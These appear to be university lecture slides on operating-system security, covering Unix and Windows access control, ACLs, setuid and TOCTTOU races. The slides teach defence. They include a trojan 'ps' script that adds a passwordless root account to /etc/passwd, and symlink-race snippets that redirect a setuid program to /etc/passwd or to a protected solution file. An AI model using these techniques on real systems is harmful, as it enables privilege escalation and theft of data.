OS Security
Code Defensively

• Make sure your program does only what it’s supposed to do
  – does the “right thing” for all possible sets of arguments
  – doesn’t have weird (and unanticipated) interactions with other programs
• Particularly important if your program has “special privileges”
Change Roles

• It’s more fun to play the attacker
• You can learn a lot by thinking through the attacker’s role
Code Offensively

- Your opponent’s an idiot
  - take advantage of it
- Your opponent’s a slob
  - profit from it
- Your opponent lives in an alternate reality
  - exploit it
Our System Is So Secure …

• ... we challenge you to break in
  – come to our booth: anyone who breaks in to our system gets $10,000
The System Didn’t Survive …

**Attacker**

Could I play with your system as an ordinary user?

Sure: it’s secure so there’s no problem

There may be a problem. Could you su as root and look at it?

types for a minute or so

Sure [su’s as root] I’ll run ps and see what’s going on

[immediately becomes super-user] Give me my $10,000!

Everything looks fine to me [gets out of root]

**Marketing Person**
What Happened

• The attacker created, in the current directory, an executable file called `ps` containing:

  ```sh
  #!/bin/sh
cat >> /etc/passwd <!
bogus::0:0:root:::/bin/sh
!
exec /bin/ps !*
  ```

• The path variable in the root account was: "`./usr/bin:/bin""
Authorization

• Protecting *what* from *whom*
  – protecting *objects* from *subjects*
    - subjects
      • processes
      • threads
    - objects
      • files
      • web sites
      • processes
      • threads
<table>
<thead>
<tr>
<th></th>
<th>/a/b/c</th>
<th>/x/y/z</th>
<th>Process 112</th>
</tr>
</thead>
<tbody>
<tr>
<td>Eric</td>
<td>rw</td>
<td></td>
<td>rw</td>
</tr>
<tr>
<td>Sean</td>
<td>r</td>
<td></td>
<td></td>
</tr>
<tr>
<td>James</td>
<td></td>
<td>rw</td>
<td></td>
</tr>
<tr>
<td>Jackson</td>
<td>r</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Eric's protection domain

/a/b/c's ACL
## Subjects Labeling Rows

<table>
<thead>
<tr>
<th>Process</th>
<th>/a/b/c</th>
<th>/x/y/z</th>
<th>Process 112</th>
</tr>
</thead>
<tbody>
<tr>
<td>Process 112</td>
<td>rw</td>
<td></td>
<td>rw</td>
</tr>
<tr>
<td>Process 13452</td>
<td>r</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Process 23293</td>
<td></td>
<td>rw</td>
<td></td>
</tr>
<tr>
<td>Process 26421</td>
<td>r</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Process 112’s C-list:

/a/b/c: rw
Process 112: rw
Principle of least privilege

make the protection domain as small as possible

the capability list contains only what’s absolutely necessary
Modern OSes …

• Principle of least privilege
  – run code in smallest protection domain
    - Windows: many users run with “administrator” privilege
    - Unix and Windows: no smaller protection domain than that of a user

• Better use of hardware protection
  – data, such as stacks, should not be executable
Access Control

• Two approaches
  – who you are
    - subjects’ identity attributes determine access to objects
  – what you have
    - capabilities possessed by subjects determine access to objects
Who-You-Are-Based Access Control

• Discretionary access control (DAC)
  – objects have owners
  – owners determine who may access objects and how they may access them

• Mandatory access control (MAC)
  – system-wide policy on who may access what and how
  – object owners have no say
Access Control in Traditional Systems

- Unix and Windows
  - primarily DAC
  - file descriptors and file handles provide capabilities
  - MAC becoming more popular
    - SELinux
    - Windows
Unix

- Process’s security context
  - user ID
  - set of group IDs
  - more discussed later

- Object’s authorization information
  - owner user ID
  - group owner ID
  - permission vector
Initializing Authorization Info

- permission_vector = mode & ~umask
  - mode is from open system call
- Owner user ID
  - effective user ID of creating process
- Group owner ID
  - “set either to the effective group ID of the process or to the group ID of the parent directory (depending on file system type and mount options, and the mode of the parent directory, see the mount options bsdgroups and sysvgroups described in mount(8))”
  - Linux man page for open(2)
Windows

Subject

access token

Security Reference Monitor

Object

security descriptor

Audit log
Security Identifier (SID)

- Identify principals (users, groups, etc.)
- \textbf{S-V-Auth-SubAuth}_1-\textbf{SubAuth}_2-\ldots-\textbf{SubAuth}_n-\textbf{RID}
  - \textbf{S}: they all start with “S”
  - \textbf{V}: version number (1)
  - \textbf{Auth}: 48-bit identifier of agent who created SID
    - local system
    - other system
  - \textbf{SubAuth}: 32-bit identifier of subauthority
    - subsystem, etc.
  - \textbf{RID}: relative identifier
    - makes it unique
    - user number, group number, etc.

- \textbf{S-1-5-123423890-907809-43}
Security Descriptor

- Owner’s SID
- DACL
  - discretionary access-control list
- SACL
  - system access-control list
    - controls auditing
    - more later
- Flags
DACLS

• Sequence of ACEs — access-control entries
• Each indicates
  – who it applies to
    - SID of user, group, etc.
  – what sort of access
    - bit vector
  – action
    - permit or deny
Initializing DACLs

• Individual ACEs in directories may be marked inheritable

• When an object is created, DACL is initialized
  – explicitly provided ACEs appear first
  – then any ACEs inherited from parent
  – then any ACEs inherited from grandparent
  – etc.
Decision Algorithm

\texttt{accesses\_permitted} = \texttt{null}

walk through the ACEs in order

\hspace{1cm} \text{if access token’s user SID or group SID match ACE’s SID}

\hspace{2cm} \text{if ACE is of type access-deny}

\hspace{3cm} \text{if a requested access type is denied}

\hspace{4cm} \text{Stop — access is denied}

\hspace{2cm} \text{if ACE is of type access-allow}

\hspace{3cm} \text{if a requested access type is permitted}

\hspace{4cm} \text{add access type to} \texttt{accesses\_permitted}

\hspace{3cm} \text{if all requested accesses are permitted}

\hspace{4cm} \text{Stop — access is allowed}

\hspace{1cm} \text{if not all requested access types permitted}

\hspace{2cm} \text{Stop — access is denied}
Order Matters …

<table>
<thead>
<tr>
<th>allow</th>
<th>deny</th>
</tr>
</thead>
<tbody>
<tr>
<td>inGroup</td>
<td>Joel</td>
</tr>
<tr>
<td>read, write</td>
<td>read, write</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>deny</th>
<th>allow</th>
</tr>
</thead>
<tbody>
<tr>
<td>Joel</td>
<td>inGroup</td>
</tr>
<tr>
<td>read, write</td>
<td>read, write</td>
</tr>
</tbody>
</table>
Preferred Order

- *Access-denied* entries first
- *Access-allowed* entries second
- However ...
  - not enforced
  - system GUls don’t show order
  - only way to find out is to ask for “effective permissions”
Unix ACLs

• POSIX 1003.1e
  – deliberated for 10 years
    - what to do about backwards compatibility?
  – gave up …
  – but implemented, nevertheless
    - setfacl/getfacl commands in Linux
ACLs at Brown CS

• Linux systems support POSIX ACLs
• Windows systems support Windows ACLs
• Servers run GPFS file system and handle NFSv3 and CIFS clients
  – GPFS support NFSv4 ACLs
  – translated to POSIX ACLs and Unix bit vectors for NFSv3 clients
  – translated to Windows ACLs for CIFS clients
Extending the Basic Models

• Provide a file that others may write to, but only if using code provided by owner

• Print server
  – pass it file names
  – print server may access print files if and only if client may

• Password-changing program
Superuser (Unix)

- User ID == 0
  - bypasses all access checks
  - can send signals to any process
Attaining Super (or Lesser) Powers

• Setuid protection bit
  – the exec’ing process’s UID is set to owner of file
User and Group IDs

- Real user and group IDs — usually used to identify who created the process
- Effective user and group IDs — used to determine access rights to files
- Saved user and group IDs — holds the initial effective user and group IDs established at the time of the exec, allowing one to revert back to them
Exec

• Normally the real and effective IDs are the same
  – they are copied to the child from the parent during a fork
• execs done on files marked setuid or setgid change this
  – if the file is marked setuid, then the effective and saved user IDs become the ID of the owner of the file
  – if the file is marked setgid, then the effective and saved group IDs become the ID of the group of the file
Exercise of Powers

• Permission to access a file depends on a process’s effective IDs
  – the access system call checks permissions with respect to a process’s real IDs
    - this allows setuid/setgid programs to determine the privileges of their invokers

• The kill system call makes use of both forms of user ID; for process A to send a signal to process B, one of the following must be true:
  – A’s real user ID is the same as B’s real or saved user ID
  – A’s effective user ID is the same as B’s real or saved user ID
  – A’s effective user ID is 0
Race Conditions

// a setuid-root program:

if (access("/tmp/mytemp", W_OK) == 0) {
  // ... fail
}

fd = open("/tmp/mytemp", O_WRONLY|O_APPEND);
len = read(0, buf, sizeof(buf));
write(fd, buf, len);

// another program:

unlink("/tmp/mytemp");
symlink("/etc/passwd", "/tmp/mytemp");

• TOCTTOU vulnerability
• time of check to time of use …
Changing Identity (1)

- The `setuid` and `setgid` system calls give a process a limited ability to change its IDs

```c
int setuid(uid_t uid)
```

```c
int setgid(gid_t gid)
```

- if the caller is super user, then these calls set the real, effective, and saved IDs
- otherwise, these calls set only the effective IDs and do so only if the caller’s real, saved, or effective ID is equal to the argument
Changing Identity (2)

- The `seteuid` and `setegid` system calls are the same except that they change only the effective IDs.
- The system calls `getuid`, `getgid`, `geteuid`, and `getegid` respectively return the real user ID, the real group ID, the effective user ID, and the effective group ID of the caller.
Avoiding the Race Condition

```c
uid_t caller_id = getuid();
uid_t my_id = geteuid();
seteuid(caller_id);
fd = open("/tmp/mytemp", O_WRONLY|O_APPEND);
if (fd == -1) {
    // fail ...
}
seteuid(my_id);
len = read(0, buf, sizeof(buf));
write(fd, buf, len);
```
Unix Security Context

• Security context of a process
  – real user and group IDs
  – effective user and group IDs
  – saved user and group IDs
  – more?
More ...

- supplementary groups
- alternate root
- file-descriptor table
- privileges
  - *super user* at finer granularity
  - called capabilities in Linux
Same But Different

/* handin: a setuid-twd program */

if (access(argv[1], R_OK) == 0) {
    // ... fail
}
fd = open(argv[1], O_RDONLY);
/* copy from fd to course directory */

% handin my_asgn
...

// another program:
unlink("my_asgn");
symlink("/u/twd/solution", "my_asgn");
Avoiding the Race Condition

```c
uid_t caller_id = getuid();
uid_t my_id = geteuid();
seteuid(caller_id);
fd = open(argv[1], O_RDONLY);
if (fd == -1) {
    // fail ...
}
seteuid(my_id);
...
/* copy from fd to course directory */
```
uid_t caller_id = getuid();
uid_t my_id = geteuid();
seteuid(caller_id);
fd = open(argv[1], O_RDONLY);
if (fd == -1) {
    // fail …
}
fd2 = open("callers confidential file",
    O_RDONLY);
seteuid(my_id);
...
/* copy confidential info instead */
How to Solve?

• Rewrite handin to read file from stdin
  – caller must open it
Same But Even More Different

You
(Client Process)

Handin
(Server Process)

my_asgn

file-descriptor table

file-descriptor table
File Descriptor as *Capability*

**You**
(Client Process)

**Handin**
(Server Process)

file-descriptor table

my_asgn

file-descriptor table